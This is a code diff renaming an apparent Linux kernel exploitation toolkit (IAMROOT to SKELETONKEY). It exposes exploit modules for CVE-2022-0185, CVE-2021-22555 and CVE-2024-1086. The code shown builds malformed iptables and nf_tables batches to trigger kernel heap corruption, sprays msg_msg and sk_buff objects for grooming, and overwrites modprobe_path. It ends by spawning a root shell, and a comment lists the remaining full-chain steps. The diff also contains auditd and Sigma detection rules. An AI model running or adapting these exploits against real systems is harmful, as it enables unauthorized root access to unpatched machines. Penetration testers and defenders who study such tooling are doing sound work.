return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------ */
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL,
};
void iamroot_register_fuse_legacy(void)
void skeletonkey_register_fuse_legacy(void)
{
iamroot_register(&fuse_legacy_module);
skeletonkey_register(&fuse_legacy_module);
}
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif
@@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266.
## IAMROOT role
## SKELETONKEY role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
@@ -1,12 +0,0 @@
/*
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module netfilter_xtcompat_module;
#endif
@@ -1,5 +1,5 @@
/*
* netfilter_xtcompat_cve_2021_22555 IAMROOT module
* netfilter_xtcompat_cve_2021_22555 SKELETONKEY module
*
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
* compat handler for iptables rule export wrote up to 4 bytes
@@ -26,18 +26,18 @@
* - Trigger sequence: hand-rolled iptables rule blob with
* malformed xt_entry_target offset; setsockopt fires the OOB.
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
* cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
* - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the
* write landing IAMROOT never claims root unless it sees
* write landing SKELETONKEY never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar).
*
* Affected: kernel 2.6.19+ until backports landed:
@@ -56,7 +56,7 @@
* (almost always autoload-able on default-config kernels)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -94,7 +94,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated
@@ -152,12 +152,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
@@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
@@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
"AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
@@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x42;
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
* and in KASAN/oops dumps. */
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOT2", 8);
memcpy(p->buf, "SKELETONKEY2", 8);
int created = 0;
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
}
/* Walk every queue, peek-copy each message (MSG_COPY = read without
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
* A non-matching prefix is the empirical witness for the OOB write
* landing in an adjacent slot. Returns the count of corrupted slots. */
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
if (n < 0) break;
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
corrupted++;
}
}
@@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
unsigned char *buf = malloc(1800);
if (!buf) { close(sv[0]); close(sv[1]); return; }
memset(buf, 0x41, 1800);
memcpy(buf, "IAMROOTSKB", 10);
memcpy(buf, "SKELETONKEYSKB", 10);
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
struct mmsghdr mm[32];
for (int i = 0; i < 32; i++) {
@@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
/* Plant a recognizable marker so a vulnerable kernel's compat
* decoder reads our crafted entry rather than zeroed memory.
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
* dump points back here. */
unsigned char *entry_region = blob + sizeof(*r);
memcpy(entry_region, "IAMROOTX", 8);
memcpy(entry_region, "SKELETONKEYX", 8);
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
* Its `u.target_size` field is the lever Andy bends to underflow
* the pad-out write: setting target_size to a value such that
@@ -524,7 +524,7 @@ struct xtcompat_arb_ctx {
uid_t outer_uid;
gid_t outer_gid;
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
int arb_calls;
int arb_landed;
};
@@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
if (!p) return 0;
p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOTW", 8);
memcpy(p->buf, "SKELETONKEYW", 8);
/* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */
@@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == IAMROOT_OK && geteuid() == 0) {
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == SKELETONKEY_OK && geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
* dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("netfilter_xtcompat");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
long post_slab = slab_active_kmalloc_2k();
/* Breadcrumb for post-run triage. */
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
if (log) {
fprintf(log,
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
.arb_calls = 0,
.arb_landed = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
xtcompat_arb_write,
&arb_ctx,
!ctx->no_shell);
/* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
xtcompat_msgmsg_drain(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
/* Primitive-only mode: still NOT root — but it's the
@@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
_exit(30);
}
/* PARENT: reap child + map exit code → iamroot_result. */
/* PARENT: reap child + map exit code → skeletonkey_result. */
int status = 0;
if (waitpid(child, &status, 0) < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
"(crash during trigger — OOB likely fired)\n", sig);
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
"exploit path closed\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 24:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
"see preceding errno\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
"may have fired but did not land on sprayed slots)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 31:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
"appears patched at runtime (validator)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 32:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
"not effective in userns on this kernel\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 33:
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
" attacker-controlled — read-where via msgrcv.\n"
" 2. Use that leak to find &init_task and\n"
" modprobe_path in kernel .data — both offsets\n"
" are per-kernel-build and IAMROOT refuses to\n"
" are per-kernel-build and SKELETONKEY refuses to\n"
" bake them.\n"
" 3. Pivot to a write-where via a fake msg_msgseg\n"
" and overwrite modprobe_path → exec a setuid\n"
" helper for root pop.\n"
" See Andy Nguyen's writeup for the full chain.\n");
}
if (ctx->no_shell) return IAMROOT_OK;
return IAMROOT_EXPLOIT_FAIL;
if (ctx->no_shell) return SKELETONKEY_OK;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
"FAIL (sentinel not observed within timeout)\n"
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
/* The msg queues live in the child's IPC namespace which dies
* with the child so the in-process drain already handled them.
* The /tmp breadcrumb survives, remove it here. */
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
"# msgsnd/msgrcv heap-spray patterns.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
const struct iamroot_module netfilter_xtcompat_module = {
const struct skeletonkey_module netfilter_xtcompat_module = {
.name = "netfilter_xtcompat",
.cve = "CVE-2021-22555",
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
.detect_falco = NULL,
};
void iamroot_register_netfilter_xtcompat(void)
void skeletonkey_register_netfilter_xtcompat(void)
{
iamroot_register(&netfilter_xtcompat_module);
skeletonkey_register(&netfilter_xtcompat_module);
}
@@ -0,0 +1,12 @@
/*
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module netfilter_xtcompat_module;
#endif
+1 -1
View File
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## IAMROOT role
## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/*
* nf_tables_cve_2024_1086 IAMROOT module
* nf_tables_cve_2024_1086 SKELETONKEY module
*
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -13,11 +13,11 @@
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
@@ -34,7 +34,7 @@
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
@@ -55,7 +55,7 @@
* for unprivileged users even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
